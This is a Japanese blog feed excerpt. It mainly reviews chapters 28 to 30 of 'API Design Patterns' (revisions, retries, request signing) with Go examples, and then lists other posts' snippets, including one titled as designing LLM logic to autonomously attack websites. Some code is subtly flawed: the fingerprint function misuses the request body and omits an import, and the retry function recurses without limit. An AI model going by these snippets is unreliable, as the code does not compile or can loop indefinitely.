リソースリビジョンは、変更履歴の追跡が必要な規制環境(金融サービス、医療情報システムなど)で特に重要です。変更の誰が、いつ、何をしたかを正確に記録し、必要に応じて過去の状態を再現できることは、コンプライアンス要件を満たす上で不可欠です。障害復旧とロールバック: リビジョン管理は、システム障害や人為的ミスからの復旧を容易にします。特定の時点の状態に戻すことができるため、データの損失やシステムの不整合を最小限に抑えることができます。分散システムでの一貫性: マイクロサービスアーキテクチャにおいて、リソースリビジョンは分散システム全体の一貫性を維持する上で重要な役割を果たします。例えば、複数のサービスにまたがるトランザクションを、各サービスのリソースリビジョンを用いて追跡し、必要に応じて補償トランザクションを実行することができます。A/Bテストと段階的ロールアウト: リビジョン管理機能は、新機能の段階的なロールアウトやA/Bテストの実施を容易にします。特定のユーザーグループに対して特定のリビジョンを提供することで、変更の影響を慎重に評価できます。パフォーマンス最適化: リビジョン管理の実装には、効率的なデータ構造とアルゴリズムの選択が重要です。例えば、差分ベースのストレージを使用して、リビジョン間の変更のみを保存することで、ストレージ使用量を最適化できます。セキュリティとアクセス制御: リビジョン管理を導入する際は、各リビジョンへのアクセス制御を適切に設計する必要があります。特に、機密情報を含むリビジョンへのアクセスを制限し、監査ログを維持することが重要です。APIの進化とバージョニング: リソースリビジョンの概念は、APIそのもののバージョニング戦略と関連付けて考えることができます。APIの各バージョンを、特定の時点でのリソース定義のリビジョンとして扱うことで、APIの進化をより体系的に管理できる可能性があります。リソースリビジョンとシステムアーキテクチャリソースリビジョンの設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。データモデルとスキーマ設計: リビジョン管理をサポートするために、データベーススキーマの設計を適切に行う必要があります。例えば、メインのリソーステーブルとは別にリビジョンテーブルを作成し、効率的にクエリできるようにインデックスを設計することが重要です。キャッシュ戦略: リビジョン管理は、キャッシュ戦略に影響を与えます。特定のリビジョンをキャッシュする場合、キャッシュの有効期限や更新戦略を慎重に設計する必要があります。イベントソーシングとCQRS: リソースリビジョンの概念は、イベントソーシングやCQRS(Command Query Responsibility Segregation)パターンと親和性が高いです。これらのパターンを組み合わせることで、より柔軟で拡張性の高いシステムを構築できる可能性があります。バックアップと災害復旧: リビジョン管理機能は、バックアップと災害復旧戦略に組み込むことができます。特定の時点のシステム全体の状態を、各リソースの適切なリビジョンを用いて再構築することが可能になります。マイクロサービス間の整合性: 複数のマイクロサービスにまたがるリソースの場合、リビジョン管理を通じてサービス間の整合性を維持することができます。例えば、分散トランザクションの代わりに、各サービスのリソースリビジョンを用いた補償トランザクションを実装することが考えられます。結論第28章「Resource revisions」は、APIにおけるリソースリビジョン管理の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、データの整合性、そして全体的なシステムの運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。リソースリビジョンは、変更履歴の追跡、過去の状態の参照、誤った変更のロールバックを可能にする強力な機能です。リビジョン管理の実装には、リビジョン識別子の設計、リビジョン作成戦略の選択、リビジョンの取得と一覧表示、復元機能の実装など、多くの考慮事項があります。リソースリビジョンの導入には、ストレージ使用量の増加、パフォーマンスへの影響、複雑性の増加などのトレードオフがあります。これらを適切に管理することが重要です。リビジョン管理は、監査とコンプライアンス、障害復旧とロールバック、分散システムでの一貫性維持など、多くの実践的な応用が可能です。リソースリビジョンの設計は、データモデル、キャッシュ戦略、イベントソーシング、バックアップと災害復旧など、システム全体のアーキテクチャに大きな影響を与えます。これらの原則を適切に適用することで、開発者はより柔軟で信頼性の高いAPIを設計することができます。特に、変更履歴の追跡が重要な環境や、複雑な分散システムでは、リソースリビジョンの適切な実装が極めて重要です。しかし、リソースリビジョンの導入には慎重な検討も必要です。特に、ストレージ使用量の増加、パフォーマンスへの影響、システムの複雑性の増加などの観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、リソースリビジョンの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単に個々のリソースの変更履歴を管理するだけでなく、システム全体の一貫性、信頼性、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。リソースリビジョンの適切な実装は、システムの回復力を高め、データの整合性を保護し、変更管理を容易にする可能性があります。特に、マイクロサービスアーキテクチャやクラウドネイティブな環境では、この機能の重要性がより顕著になります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で柔軟性の高いシステムを構築することができるでしょう。リソースリビジョン管理は、単なる技術的機能を超えて、システム全体の品質と信頼性を向上させる重要な要素となります。適切に実装されたリビジョン管理システムは、変更の追跡、問題の診断、そして迅速な復旧を可能にし、結果としてシステムの運用性と信頼性を大きく向上させます。さらに、この機能は、コンプライアンス要件の遵守、データガバナンスの強化、そして長期的なシステム進化の管理にも貢献します。API設計者とシステムアーキテクトは、リソースリビジョン管理の重要性を認識し、適切に実装することで、より堅牢で効率的、そして将来の変化に適応可能なシステムを構築することができます。これは、急速に変化し、常に新しい課題が生まれる現代のソフトウェア開発環境において、特に重要な価値となります。29 Request retrial\\"API Design Patterns\\" の第29章「Request retrial」は、API リクエストの再試行に関する重要な概念と実装方法について詳細に論じています。この章では、失敗したAPIリクエストのうち、どれを安全に再試行できるか、リトライのタイミングに関する高度な指数関数的バックオフ戦略、「雪崩現象」を回避する方法、そしてAPIがクライアントにリトライのタイミングを指示する方法について説明しています。リクエスト再試行の必要性と概要著者は、Web APIにおいてリクエストの失敗は避けられない現実であることを指摘することから議論を始めています。失敗の原因には、クライアント側のエラーや、APIサーバー側の一時的な問題など、様々なものがあります。特に後者の場合、同じリクエストを後で再試行することで問題が解決する可能性があります。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。分散システムでは、ネットワークの不安定性やサービスの一時的な障害が頻繁に発生する可能性があるため、適切な再試行メカニズムは、システム全体の信頼性と回復力を大幅に向上させる可能性があります。著者は、再試行可能なリクエストを識別し、適切なタイミングで再試行を行うための2つの主要なアプローチを提案しています。クライアント側の再試行タイミング(指数関数的バックオフ)サーバー指定の再試行タイミングこれらのアプローチは、システムの効率性を最大化しつつ、不要な再試行を最小限に抑えるという目標を達成するために設計されています。クライアント側の再試行タイミング著者は、クライアント側の再試行戦略として、指数関数的バックオフアルゴリズムを推奨しています。このアルゴリズムは、再試行の間隔を徐々に増やしていくことで、システムに過度の負荷をかけることなく、再試行の成功確率を高めます。指数関数的バックオフの基本的な実装は以下のようになります。func retryWithExponentialBackoff(operation func() error, maxRetries int) error { var err error for attempt := 0; attempt < maxRetries; attempt++ { err = operation() if err == nil { return nil } delay := time.Duration(math.Pow(2, float64(attempt))) * time.Second time.Sleep(delay) } return err}しかし、著者はこの基本的な実装にいくつかの重要な改良を加えることを提案しています。最大遅延時間の設定: 再試行の間隔が無限に長くなることを防ぐため。最大再試行回数の設定: 無限ループを防ぐため。ジッター(ランダムな遅延)の追加: 「雪崩現象」を防ぐため。これらの改良を加えた、より洗練された実装は以下のようになります。func retryWithExponentialBackoff(operation func() error, maxRetries int, maxDelay time.Duration) error { var err error for attempt := 0; attempt < maxRetries; attempt++ { err = operation() if err == nil { return nil } delay := time.Duration(math.Pow(2, float64(attempt))) * time.Second if delay > maxDelay { delay = maxDelay } jitter := time.Duration(rand.Float64() * float64(time.Second)) time.Sleep(delay + jitter) } return err}この実装は、システムの回復力を高めつつ、不必要な負荷を避けるバランスの取れたアプローチを提供します。サーバー指定の再試行タイミング著者は、APIサーバーが再試行のタイミングを明示的に指定できる場合があることを指摘しています。これは主に、サーバーが特定の情報(例:レート制限のリセットタイミング)を持っている場合に有用です。この目的のために、著者はHTTPの\\"Retry-After\\"ヘッダーの使用を推奨しています。このヘッダーを使用することで、サーバーは正確な再試行タイミングをクライアントに伝えることができます。func handleRateLimitedRequest(w http.ResponseWriter, r *http.Request) { if isRateLimited(r) { retryAfter := calculateRetryAfter() w.Header().Set(\\"Retry-After\\", strconv.Itoa(int(retryAfter.Seconds()))) w.WriteHeader(http.StatusTooManyRequests) return } // 通常の処理を続行}クライアント側では、このヘッダーを検出し、指定された時間だけ待機してからリクエストを再試行します。func sendRequestWithRetry(client *http.Client, req *http.Request) (*http.Response, error) { resp, err := client.Do(req) if err != nil { return nil, err } if resp.StatusCode == http.StatusTooManyRequests { retryAfter := resp.Header.Get(\\"Retry-After\\") if retryAfter != \\"\\" { seconds, _ := strconv.Atoi(retryAfter) time.Sleep(time.Duration(seconds) * time.Second) return sendRequestWithRetry(client, req) } } return resp, nil}この手法は、サーバーの状態や制約に基づいて、より正確で効率的な再試行戦略を実現します。再試行可能なリクエストの判断著者は、全てのエラーが再試行可能なわけではないという重要な点を強調しています。再試行可能なエラーとそうでないエラーを区別することは、効果的な再試行戦略の鍵となります。一般的に、以下のようなガイドラインが提示されています。再試行可能: 408 (Request Timeout), 429 (Too Many Requests), 503 (Service Unavailable) など。これらは一時的な問題を示唆しています。再試行不可能: 400 (Bad Request), 403 (Forbidden), 404 (Not Found) など。これらは永続的な問題を示唆しています。条件付き再試行可能: 500 (Internal Server Error), 502 (Bad Gateway), 504 (Gateway Timeout) など。これらは状況に応じて再試行可能かどうかが変わります。この区別は、システムの効率性と信頼性を維持する上で重要です。不適切な再試行は、システムリソースの無駄遣いや、意図しない副作用を引き起こす可能性があります。実践的な応用と考察この章の内容は、実際のAPI設計と運用において非常に重要です。特に以下の点が重要になります。システムの回復力: 適切な再試行メカニズムは、一時的な障害から自動的に回復するシステムの能力を大幅に向上させます。これは特に、マイクロサービスアーキテクチャのような分散システムにおいて重要です。効率的なリソース利用: 指数関数的バックオフやサーバー指定の再試行タイミングを使用することで、システムリソースを効率的に利用しつつ、再試行の成功確率を最大化できます。ユーザーエクスペリエンス: エンドユーザーの視点からは、適切な再試行メカニズムは、一時的な問題を自動的に解決し、シームレスなエクスペリエンスを提供します。運用の簡素化: 適切に設計された再試行メカニズムは、手動介入の必要性を減らし、運用タスクを簡素化します。モニタリングと可観測性: 再試行の頻度や成功率を監視することで、システムの健全性や潜在的な問題を把握するための貴重な洞察が得られます。結論第29章「Request retrial」は、APIにおけるリクエスト再試行の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、システムの信頼性、効率性、そして全体的な運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。全てのエラーが再試行可能なわけではありません。エラーの性質を慎重に評価し、適切に再試行可能なものを識別することが重要です。指数関数的バックオフは、効果的な再試行戦略の基礎となります。ただし、最大遅延時間、最大再試行回数、ジッターなどの改良を加えることで、より堅牢な実装が可能になります。サーバー指定の再試行タイミング(Retry-Afterヘッダー)は、特定のシナリオにおいて非常に有効です。これにより、より正確で効率的な再試行が可能になります。再試行メカニズムは、システムの回復力、効率性、ユーザーエクスペリエンス、運用性を向上させる重要なツールです。再試行の実装には、システム全体のアーキテクチャと運用プラクティスとの整合性が必要です。これらの原則を適切に適用することで、開発者はより信頼性が高く、効率的なAPIを設計することができます。特に、分散システムやクラウドネイティブ環境では、適切な再試行メカニズムの実装が極めて重要です。最後に、リクエスト再試行の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にエラーハンドリングを改善するだけでなく、システム全体の信頼性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。リクエスト再試行の適切な実装は、システムの回復力を高め、一時的な障害の影響を最小限に抑え、全体的なユーザーエクスペリエンスを向上させる可能性があります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で信頼性の高いシステムを構築することができるでしょう。30 Request authentication「API Design Patterns」の第30章「Request authentication」は、APIにおけるリクエスト認証の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリクエスト認証が単なるセキュリティ機能の追加ではなく、APIの信頼性、完全性、そして全体的なシステムアーキテクチャにどのように影響を与えるかを明確に示しています。リクエスト認証の必要性と概要著者は、APIリクエストの認証に関する基本的な疑問から議論を始めています。「与えられたインバウンドAPIリクエストが、実際に認証されたユーザーからのものであることをどのように判断できるか?」この問いに答えるために、著者は3つの重要な要件を提示しています。オリジン(Origin): リクエストが主張する送信元から本当に来たものかどうかを確認する能力。完全性(Integrity): リクエストの内容が送信後に改ざんされていないことを確認する能力。否認防止(Non-repudiation): 送信者が後からリクエストの送信を否定できないようにする能力。これらの要件は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。分散システムでは、サービス間の通信の信頼性と完全性を確保することが不可欠であり、これらの要件を満たすことで、システム全体のセキュリティと信頼性が大幅に向上します。著者は、これらの要件を満たすソリューションとして、デジタル署名の使用を提案しています。デジタル署名は、公開鍵暗号方式を利用した非対称な認証メカニズムで、以下の特性を持ちます。署名の生成に使用する秘密鍵と、検証に使用する公開鍵が異なる。署名はメッセージの内容に依存するため、メッセージの完全性を保証できる。秘密鍵の所有者のみが有効な署名を生成できるため、否認防止が可能。Request authenticationはそこそこに入り組んだ分野でもあるのでセキュア・バイ・デザインなどもオススメです。syu-m-5151.hatenablog.comデジタル署名の実装著者は、デジタル署名を用いたリクエスト認証の実装に関して詳細なガイダンスを提供しています。主なステップは以下の通りです。クレデンシャルの生成: ユーザーは公開鍵と秘密鍵のペアを生成します。登録とクレデンシャル交換: ユーザーは公開鍵をAPIサービスに登録し、一意の識別子を受け取ります。リクエストの署名: ユーザーは秘密鍵を使用してリクエストに署名します。署名の検証: APIサーバーは公開鍵を使用して署名を検証し、リクエストを認証します。これらのステップを実装するためのGoのコード例を以下に示します。import ( \\"crypto\\" \\"crypto/rand\\" \\"crypto/rsa\\" \\"crypto/sha256\\" \\"encoding/base64\\")// クレデンシャルの生成func generateCredentials() (*rsa.PrivateKey, error) { return rsa.GenerateKey(rand.Reader, 2048)}// リクエストの署名func signRequest(privateKey *rsa.PrivateKey, request []byte) ([]byte, error) { hashed := sha256.Sum256(request) return rsa.SignPKCS1v15(rand.Reader, privateKey, crypto.SHA256, hashed[:])}// 署名の検証func verifySignature(publicKey *rsa.PublicKey, request []byte, signature []byte) error { hashed := sha256.Sum256(request) return rsa.VerifyPKCS1v15(publicKey, crypto.SHA256, hashed[:], signature)}この実装例では、RSA暗号化を使用してクレデンシャルの生成、リクエストの署名、署名の検証を行っています。実際の運用環境では、これらの基本的な関数をより堅牢なエラーハンドリングとロギングメカニズムで包む必要があります。リクエストのフィンガープリンティング著者は、リクエスト全体を署名するのではなく、リクエストの「フィンガープリント」を生成して署名することを提案しています。このフィンガープリントには以下の要素が含まれます。HTTPメソッドリクエストのパスホストリクエストボディのダイジェスト日付これらの要素を組み合わせることで、リクエストの本質的な部分を捉えつつ、署名対象のデータサイズを抑えることができます。以下に、フィンガープリントの生成例を示します。import ( \\"crypto/sha256\\" \\"fmt\\" \\"net/http\\" \\"strings\\" \\"time\\")func generateFingerprint(r *http.Request) string { bodyDigest := sha256.Sum256([]byte(r.Body)) elements := []string{ fmt.Sprintf(\\"(request-target): %s %s\\", strings.ToLower(r.Method), r.URL.Path), fmt.Sprintf(\\"host: %s\\", r.Host), fmt.Sprintf(\\"date: %s\\", time.Now().UTC().Format(http.TimeFormat)), fmt.Sprintf(\\"digest: SHA-256=%s\\", base64.StdEncoding.EncodeToString(bodyDigest[:])), } return strings.Join(elements, \\"\\\\n\\")}このアプローチにより、リクエストの重要な部分を効率的に署名できるようになります。実践的な応用と考察この章の内容は、実際のAPI設計と運用において非常に重要です。特に以下の点が重要になります。セキュリティと信頼性: デジタル署名を使用したリクエスト認証は、APIの安全性と信頼性を大幅に向上させます。これは特に、金融取引や医療情報など、機密性の高いデータを扱うシステムで重要です。マイクロサービスアーキテクチャでの応用: サービス間通信の認証に適用することで、マイクロサービスアーキテクチャ全体のセキュリティを強化できます。スケーラビリティの考慮: デジタル署名の検証は計算コストが高いため、大規模なシステムでは適切なキャッシング戦略やロードバランシングが必要になる可能性があります。運用上の課題: 秘密鍵の安全な管理や、公開鍵の配布・更新メカニズムの構築が必要になります。これらは、適切なシークレット管理システムやPKIインフラストラクチャの導入を検討する良い機会となります。監視とロギング: 署名の検証失敗や不正なリクエストの試行を適切に監視・ロギングすることで、システムの安全性をさらに向上させることができます。結論第30章「Request authentication」は、APIにおけるリクエスト認証の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIのセキュリティ、信頼性、そして全体的なシステムアーキテクチャを大きく向上させる可能性があります。特に重要な点は以下の通りです。リクエスト認証は、オリジン、完全性、否認防止の3つの要件を満たす必要があります。デジタル署名は、これらの要件を満たす強力なメカニズムを提供します。リクエストのフィンガープリンティングは、効率的かつ効果的な署名方法です。この認証方式の実装には、適切なクレデンシャル管理と運用プラクティスが不可欠です。パフォーマンスとスケーラビリティのトレードオフを慎重に検討する必要があります。これらの原則を適切に適用することで、開発者はより安全で信頼性の高いAPIを設計することができます。特に、高度なセキュリティ要件を持つシステムや、複雑な分散アーキテクチャを採用している環境では、この認証方式の実装が極めて重要になります。しかし、この認証方式の導入には慎重な検討も必要です。特に、パフォーマンス、運用の複雑さ、開発者の学習曲線の観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、リクエスト認証の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIのセキュリティを向上させるだけでなく、システム全体の信頼性、運用効率、そして将来の拡張性にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。デジタル署名を用いたリクエスト認証の適切な実装は、システムのセキュリティを大幅に向上させ、潜在的な脅威や攻撃から保護する強力な手段となります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で信頼性の高いシステムを構築することができるでしょう。おわりに「API Design Patterns」を通じて、APIデザインの本質と普遍的な設計原則を学びました。これらの原則は、技術の変化に関わらず長期的に価値があります。本書は、APIをシステム間のコミュニケーションの重要な媒介者として捉える視点を提供しました。この知識は、API設計だけでなく、ソフトウェア開発全般に適用可能です。次の課題は、学んだ概念を実践で適用することです。技術は進化し続けますが、本書の洞察は変化の中でも指針となります。これからも学び続け、より良いシステムとソリューションを開発していきましょう。そもそも、Design Patternsは設計ではないですよね?Design Patternsは設計そのものではなく、ソフトウェア開発の共通問題に対する定型的な解決策を提供するツールキットです。これはマジでミスリードです。すみません。設計は、具体的な問題や要件に対して適切な解決策を考案し実装するプロセスです。Design Patternsを知っているだけでは、優れた設計はできません。Design Patternsの価値は、共通の語彙と概念的フレームワークを提供することです。これにより、開発者間のコミュニケーションが円滑になり、問題の本質をより速く把握できます。良い設計者になるには、Design Patternsを知ることも重要ですが、それ以上に問題を深く理解し、創造的に思考し、様々な選択肢を比較検討する能力が重要です。結論として、Design Patternsは設計を支援するツールであり、設計そのものではありません。優れた設計を生み出すのは、パターンを適切に理解し、状況に応じて適用できる開発者の創造性と判断力です。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。あなたがさっきまで読んでいた技術的に役立つ記事は、10年後も使えるでしょうか?ほとんどの場合でいいえ。最初に戻る。","isoDate":"2024-08-20T10:14:35.000Z","dateMiliSeconds":1724148875000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"RAGの検索対象ファイル数","link":"https://shu-kob.hateblo.jp/entry/2024/08/19/235703","contentSnippet":"RAGアプリの開発で、対象ファイル1件の情報のみ出力してほしいのに、複数のファイルの内容が混ざって出力されることがありました。RAGの検索対象ファイル数を1にするだけで解決しました。最初は、ファイルごとにRAGを分けないといけないのでは?と思いやろうとすると超絶面倒そう。RAGの検索対象ファイル数を1にするだけでOKだと気づいてよかった!","isoDate":"2024-08-19T14:57:03.000Z","dateMiliSeconds":1724079423000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"エンジニア夏休み明けの仕事(Slackを使っている場合)","link":"https://shu-kob.hateblo.jp/entry/2024/08/18/233512","contentSnippet":"2024年。お盆休みをとって、8月19日(月)から仕事再開の方も多いと思います。最初に何をして、スムーズに仕事を再開できるかを書きたいと思います。Slackを使っていることを前提として書きます。夏季休暇の時期は自由で、自分はお盆休みとっても、とっていない方がメンションを飛ばしていることもあると思います。Slackのアクティビティで確認しましょう。量が多ければ、タスクを登録しましょう。JiraやNotionなどのカンバンボードに。Googleカレンダーを使用している場合は、カレンダー上でタスクを登録する手もあります。私はカンバンボードに加えて、ちょっとした作業はカレンダー上にタスクを登録したりしています。たくさんのメンションが来ている方もいらっしゃるかもしれませんが、一つずつ確実に消化していきましょう!お盆休み明けのお仕事頑張りましょうね!","isoDate":"2024-08-18T14:35:12.000Z","dateMiliSeconds":1723991712000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Cloud Run 上の Next.js を OpenTelemetry で計装する","link":"https://zenn.dev/kimitsu/articles/nextjs-otel-on-cloud-run","contentSnippet":"Cloud Run はコンテナ化されたアプリケーションを実行するための Google Cloud のフルマネージドサービスです。Google Cloud 上でコンテナアプリを動かす場合、Cloud Run がファーストチョイスとなります。Next.js のデプロイ先としては Vercel が有名ですが、Google Cloud 上で動かしたい場合は Cloud Run になるでしょう。Next.js には Experimental ではありますが OpenTelemetry サポートがあり、Vercel でも Pro 以上のプランにすることでテレメトリを収集することができます。今...","isoDate":"2024-08-17T14:41:05.000Z","dateMiliSeconds":1723905665000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"つくって、壊して、直して学ぶ Kubernetes入門 Kindle版が期間限定で半額","link":"https://shu-kob.hateblo.jp/entry/2024/08/17/230505","contentSnippet":"つくって、壊して、直して学ぶ Kubernetes入門作者:高橋 あおい翔泳社AmazonKubernetesの入門書「つくって、壊して、直して学ぶ Kubernetes入門」Kindle版が期間限定で半額です!(2024年8月17日現在、終了まで5日)この書籍は、難解と言われるkubernetesをタイトル通りつくって、壊すハンズオンにより実践的に学べます!漫画も豊富に描いてあり、とっつきやすいです!私もこの半額キャンペーンでKindle版を買うて読んでいる最中です。発売も2024年4月なので、情報も新しいです。IT技術書はすぐに情報が古くなるので、最新の情報を読んでいく必要がありますからね。Kubernetesの入門書籍はこちらがダントツ一推しだと思います!","isoDate":"2024-08-17T14:05:05.000Z","dateMiliSeconds":1723903505000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"LLMを利用して、APIを自動でテストするツールを作ってみる","link":"https://sreake.com/blog/llm-api-test-automation/","contentSnippet":"1. はじめに はじめまして、Sreake事業部の井上 秀一です。私はSreake事業部にて、SREや生成AIに関するResearch & Developmentを行っています。本記事では、LLMとテストツールを […]The post LLMを利用して、APIを自動でテストするツールを作ってみる first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-08-14T22:24:42.000Z","dateMiliSeconds":1723674282000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Docker Build Check について検証をしてみた","link":"https://sreake.com/blog/docker-build-check/","contentSnippet":"はじめに こんにちは、Sreake 事業部 佐藤慧太@(SatohJohn) です。 以下の docker build check という機能について、検証をし、Google Cloud の Cloud Build に組 […]The post Docker Build Check について検証をしてみた first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-08-13T01:00:00.000Z","dateMiliSeconds":1723510800000,"authorName":"Sreake","authorId":"Sreake"},{"title":"SRE支援の効果的なアプローチについて(SRE NEXT 2024登壇のRecap)","link":"https://zenn.dev/kojake_300/articles/b977011a04fce4","contentSnippet":"この記事は、SRE NEXT 2024で、株式会社スリーシェイクのスポンサーセッションとして登壇した「内製化を見据えた効果的なSRE支援のアプローチ」をセルフでRecapしたものになります。 はじめに株式会社スリーシェイクのSreake事業部に所属しています。2024年8月3日、4日に開催された SRE NEXT 2024 に「内製化を見据えた効果的なSRE支援のアプローチ」という題で登壇しました。20分の枠なのに60枚弱のスライドを作成するという暴挙に出てしまい、端折りながらの説明となってしまったため、Recapとして登壇内容を解説します。 想定読者本登壇資料は、SRE...","isoDate":"2024-08-08T09:18:01.000Z","dateMiliSeconds":1723108681000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"Pandoc ONLINE #1で「PandocとLuaフィルタで作るプログラマブルな文書」について発表しました","link":"https://blog.atusy.net/2024/08/07/pandoc-online-1/","contentSnippet":"日本Pandocユーザ会主催の勉強会「Pandoc ONLINE #1」が開催されました。コミュニティ主催のsky_yさんが活動を再開していこうとしてらっしゃるので、これからが楽しみですね。勉強会後の雑談会では、Pandocの技術的な話はしばしば出てくるが、業務でどう使われているか、みたいな話がなかなか出てこないという感想もあったので、コミュニティが盛り上がってこのあたりの知見共有も進むといいなと思います。","isoDate":"2024-08-07T00:00:00.000Z","dateMiliSeconds":1722988800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Rで関数定義のジャンプがしょぼいわけ","link":"https://blog.atusy.net/2024/08/07/r-def-jumpt/","contentSnippet":"RStudioなどのエディタは、関数の定義ジャンプ機能を備えます。https://cran.r-project.org/web/packages/languageserver/index.html)。","isoDate":"2024-08-07T00:00:00.000Z","dateMiliSeconds":1722988800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"【SRE-NEXT 2024】内製化を見据えた効果的なSRE支援のアプローチ / SRE support approach","link":"https://speakerdeck.com/kojake_300/sre-next-2024-nei-zhi-hua-wojian-ju-etaxiao-guo-de-nasrezhi-yuan-noapuroti","contentSnippet":"","isoDate":"2024-08-03T04:00:00.000Z","dateMiliSeconds":1722657600000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"telescope.nvimでlive_grepした結果をファイル名で絞り込む","link":"https://blog.atusy.net/2024/08/02/telescope-grep-refiement/","contentSnippet":"Vim駅伝8/2の記事です。telescope.nvimはNeovim向けのファジーファインダーと類されるプラグインです。:Telescope live_grepがあり、プロジェクト内のファイルを正規表現で検索できます。しかし、検索結果が多いときに、ファイル名で絞り込みたいことがあります。たとえば、特定のディレクトリだけの結果が必要とか、テスト関係のファイルを除外したいとかいった状況があります。","isoDate":"2024-08-02T00:00:00.000Z","dateMiliSeconds":1722556800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"SLI、SLO、エラーバジェット導入の前に知っておきたいこと","link":"https://sreake.com/blog/sli-slo-good-practices/","contentSnippet":"1. はじめに こんにちは、「信頼性は可用性ではない」を標語にしているnwiizoです。 近年、サービスの信頼性向上に向けた取り組みとして、SLI(Service Level Indicator)、SLO(Service […]The post SLI、SLO、エラーバジェット導入の前に知っておきたいこと first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-07-30T03:12:29.000Z","dateMiliSeconds":1722309149000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Cloud Operator Days Tokyo 2024 にスリーシェイクのエンジニアが登壇","link":"https://sreake.com/blog/cloud-operator-days-tokyo-2024-%e3%81%ab%e3%82%b9%e3%83%aa%e3%83%bc%e3%82%b7%e3%82%a7%e3%82%a4%e3%82%af%e3%81%ae%e3%82%a8%e3%83%b3%e3%82%b8%e3%83%8b%e3%82%a2%e3%81%8c%e8%ac%9b%e5%b8%ab%e3%81%a8/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)に在籍するエンジニアが、Cloud Operator Days 2024 実行委員会が主催する「Cloud Operator D […]The post Cloud Operator Days Tokyo 2024 にスリーシェイクのエンジニアが登壇 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-07-25T01:11:09.000Z","dateMiliSeconds":1721869869000,"authorName":"Sreake","authorId":"Sreake"},{"title":"TTC Silent Bluish White Tactile Switchがよさげ","link":"https://blog.atusy.net/2024/07/25/ttc-silent-bluish-white-tactile-switch/","contentSnippet":"TTC Silent Bluish White Tactile Switchを購入しました。別所での評判の通り、押し始めのタクタイル感が強く、そのあとすとんと落ちる感じ。静音性も高い。軸のグラつきも気にならない。","isoDate":"2024-07-25T00:00:00.000Z","dateMiliSeconds":1721865600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"スリーシェイク、SRE NEXT 2024 にDIAMONDスポンサーとして協賛","link":"https://sreake.com/blog/srenext2024/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、 2024年8月3日(土)・8月4日(日)に@Abema Towersで開催される「SRE NEXT 2024」にDIAMO […]The post スリーシェイク、SRE NEXT 2024 にDIAMONDスポンサーとして協賛 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-07-23T01:18:53.000Z","dateMiliSeconds":1721697533000,"authorName":"Sreake","authorId":"Sreake"},{"title":"PandocでLuaオブジェクトをJSON文字列化する","link":"https://blog.atusy.net/2024/07/23/pandoc-lua-to-json/","contentSnippet":"ドキュメントの相互変換ツールであるPandocは、Lua言語のインタプリタを内蔵しており、便利なモジュールも様々に提供しています。pandoc luaでインタプリタを起動したり、pandoc lua hoge.luaでhoge.luaを実行したりもできちゃいます。","isoDate":"2024-07-23T00:00:00.000Z","dateMiliSeconds":1721692800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Webサイトを自律攻撃するLLMのロジックを考えた","link":"https://sreake.com/blog/llm_hacker_gpt/","contentSnippet":"目次 はじめに LLMによるハッキングの先行事例 シンプルなAssistants API を用いた攻撃 自律攻撃を行うエージェント 効果的なエージェントの作成の既存手法 3エージェントによる計画・実行・再計画のループ機構 […]The post Webサイトを自律攻撃するLLMのロジックを考えた first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-07-22T01:00:00.000Z","dateMiliSeconds":1721610000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Raspberry 